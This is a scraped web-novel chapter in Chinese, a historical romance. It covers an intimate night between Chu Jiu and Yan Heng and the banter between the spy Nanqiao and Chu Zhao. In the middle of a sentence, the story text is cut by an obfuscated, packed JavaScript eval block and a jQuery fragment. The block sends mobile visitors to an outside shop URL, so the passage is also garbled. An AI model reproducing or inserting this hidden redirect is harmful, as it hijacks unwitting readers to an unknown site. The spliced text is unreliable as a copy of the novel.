文趣网 > 其他小说 > 被阴湿世子盯上后 > 第160章 坦诚以待
    有日子没使力气了,一场酣畅淋漓的苦中作乐后,燕珩身上都是汗濡濡的。

    他趴在楚玖身上耳鬓厮磨地缓了好一会儿,这才扔掉手中被团皱的中衣,于她身侧躺下。

    手臂欲将人揽进怀中时,楚玖也顺势钻了过来。

    随手扯过被子盖上,燕珩将人抱得紧紧的,并意犹未尽地又讨了几个轻吻。

    指尖点到汗珠,楚玖便就着那汗液在他胸前打着圈,独自陷入沉思之中。

    她不想用偷偷下药的方式来换回燕玦,那无异于在燕珩的背上捅刀子。

    燕珩喜欢她,而她也喜欢燕珩。

    见不到他时会想,在一起时很安心。

    与他相处的日子虽然平平淡淡,却有种岁月静好的祥和感。

    既然互相喜欢,更应该坦诚以待。

    待帐内的呼吸声渐趋平缓,楚玖斟酌了一番措辞,这才缓声开口。

    “新岁在即,就是图个吉利,天家也不会在年关下令斩杀定国公。”

    “所以,一切都还有回旋的余地。”

    “有些事我现在还不能同你细说,但你被关在酒馆那么久,想必也早已瞧出些端倪。”

    头顶传来极轻的一声“嗯”,燕珩未再说什么,等着楚玖接下来的话。

    “燕玦他们要做的事,是冲天家来的。”

    “若是事成,定国公或许能躲过一劫。”

    “但.......”默了须臾,她愧疚又为难地道:“初一他们需要燕玦,且燕玦服解药的日子也要到了。”

    说到最后,尾音都不由地弱了下来。

    双臂收紧,燕珩好似要将楚玖按进身体里似的。

    他深呼吸一口,平静道:“好,那就把我换进去。”

    燕珩这话一出口,楚玖也不知为何,鼻尖一酸,泪水倏地就涌了出来。

    有愧疚,有怜悯,而更多的是舍不得。

    “对不起,燕珩。”

    细臂紧圈回抱,她哑声道:“不管如何,我一定会另想法子救你出来。”

    燕珩轻抚她的头,柔声安慰。

    “不用说对不起,根本不是小玖的错。”

    “关在大牢里的人本就该是我,现在只是让一切归位罢了。”

    亲吻重重落在楚玖的发丝间,他问:“何时换人?”

    “大概后日。”

    两瓣温软一路游移到楚玖的唇边,鼻尖拱了拱,燕珩喃喃道:“再来一次?”

    “好。”

    ......

    大手扣在楚玖的腰间,汗濡濡的身体紧密贴合。

    像是过了今夜无明朝,一改昔日的温柔,那力道大得有些疼。

    耳边,燕珩一遍遍确认着。

    “小玖,现在我在你心里占几分?”

    声音碎得不成调子,楚玖嘤咛道:“哪有什么几分,都是你。”

    “那兄长呢?”

    细密的亲吻伴随着楚玖的温声细语,轻飘飘地落在燕珩的耳边。

    “都过去了,现在、以后,都是你。”

    “待重聚之时,定以红妆嫁衣招燕世子进门。”

    ......

    与此同时,缱绻悱恻的屋外,一只海东青展翅飞过,扑扇着翅膀,最后落在楚昭院子里的树上。

    几声啼叫,屋门应声而开,南乔紧步走了出来。

    海东青认主,立刻飞到南乔的手臂上。

    取下那爪子上的小竹筒,南乔摸了摸海东青的头,将其带进了屋内。

    竹筒内塞了字条,是东宫送来的密信,无非是问楚家兄妹二人的事。

    借着烛灯看完,南乔直接将那字条扔到炭火盆里。

    确认字条燃成灰烬,她才提笔快速写了几行字。

    字条卷了又卷,塞回小竹筒里,绑回那只海东青的腿上。

    一直在查账的楚昭单手撑头,坐在那里已经瞧了她大半晌。

    忍了半天,他哭笑不得地讥讽道:“这密信送的,都不背着人了。”

    手臂拖着海东青走到屋门外,南乔用力甩臂,海东青顺势而飞。

    回到屋中,她面无表情地回楚昭的话。

    “我奉太子之命监视楚公子,这不是明摆着的事嘛,何须藏着掖着?”

    楚昭一副无语状。

    “难道不该照顾下被监视之人的心情吗?”

    南乔斜了楚昭一眼,嫌弃地道了声:“矫情!”

    “对,我矫情。”

    想起耳房的洗澡水已经晾得差不多了,楚昭懒洋洋起身来,边走边脱衣服。

    待他解开系带脱裤子时,南乔紧忙偏开视线。

    “请楚公子注意礼数!”

    楚昭报复性地来了一句,“矫情!别忘了,这是我家,在自己家讲什么礼数?”

    话落,他便脱得光溜溜的,推开耳房的隔门,径直朝屏风后的浴盆而去。

    余光瞟了瞟,确认看不到一丝半点不该瞧的,南乔这才正过头来,来到耳房的隔门口守着。

    “南乔姑娘整日寸步不离,连楚某洗澡如厕都要跟着,不知道的,还以为你要当楚风馆的老板娘呢。”

    双手抱在胸前,南乔背靠门框,站在那里闭目养神,“嘴贱的人死得快。”

    楚昭不甘示弱,隔着屏风回怼,“嘴毒的女人嫁不出去。”

    “......”

    南乔睁眼,目光如锥地瞪了瞪映在屏风上的那个人。

    水声哗啦啦大半晌,隔着屏风,楚昭又把南乔当丫鬟使唤。

    “去把浴袍取来。”

    南

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733476|204534||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    乔寸步未动。

    “还请楚公子记住自己的本分,我不是来伺候你??。”

    “那我光着出去?”

    “.......”

    这屋子里就他两个人,南乔不给拿,楚昭就得光着身子自己去拿。

    可南乔又不想妥协,只好捂上眼睛。

    “我不看,楚公子出来,自己去拿浴袍。”

    极轻的一声哂笑后,楚昭起身,带起一阵水声走出了那浴桶。

    绕过屏风,便瞧见南乔紧紧捂着双眼,站在隔门口。

    他就那么光着身子走近,然后故意逗弄,“南乔姑娘挡在这门口,莫非是想与我......擦身而过?”

    重音被楚昭咬在“擦”字上。

    红唇肉眼可见地紧抿着,南乔捂着双眼,就像撞见了脏东西似的,立马闪到一旁。

    楚昭唇角勾着坏笑,迈着两条湿漉漉的大长腿,走到衣桁架前扯下浴袍。

    衣料窸窣,南乔不耐烦道:“好了没?”

    “急什么,水还没洇干呢。”

    捡起刚刚扔掉的裤子,楚昭游刃有余地穿上,随即身形一转,突然开门冲出屋子。

    南乔惊觉,嘴里骂了一句,跨步追了出去。

    可谁知刚冲到门口,径直撞进湿漉漉的胸膛里,一双手还扣在......

    南乔被烫得缩回手,推开楚昭的同时,双颊通红地向后退了几步。

    “你在戏弄我?”她气愤道。

    “热水澡泡得胸闷,楚某想出来透透气而已,怎就成了戏弄?”

    楚昭朝南乔慢慢挪着步子,低头朝自己的胸膛瞧了瞧,笑着反驳。

    “反倒是南乔姑娘刚刚占了在下的便宜。”

    南乔像是羞得乱了阵脚,不停地向屋里退着步子。

    “不小心碰到而已。”

    她脸红得厉害,说话间,垂着眸眼,不敢与楚昭对视。

    “看南乔姑娘脸这么红......”

    楚昭倏地俯身靠近,沉声笑道:“该不会是动了春心吧?”

    南乔眉头紧蹙,抬眼瞪着楚昭,眼神倔强地狡辩着。

    “我没有。”

    楚昭挑眉笑得邪气。

    “没有最好,毕竟,你是奉太子之命来监视我的,而不是来儿女情长的。”

    南乔气得胸脯上下起伏,“少搞这些没用的花把式,也别以为自己有点姿色就想来个美男计,这招在我这里不好使。”

    楚昭则专挑字眼贫嘴。

    “原来,在南乔姑娘眼里,在下竟然有点......姿色?”

    “此事连楚某自己都不知晓。”

    一时语塞,南乔沉着面色,转身回到炭火炉旁。

    她提着铁夹子,一个劲儿地往里面加炭。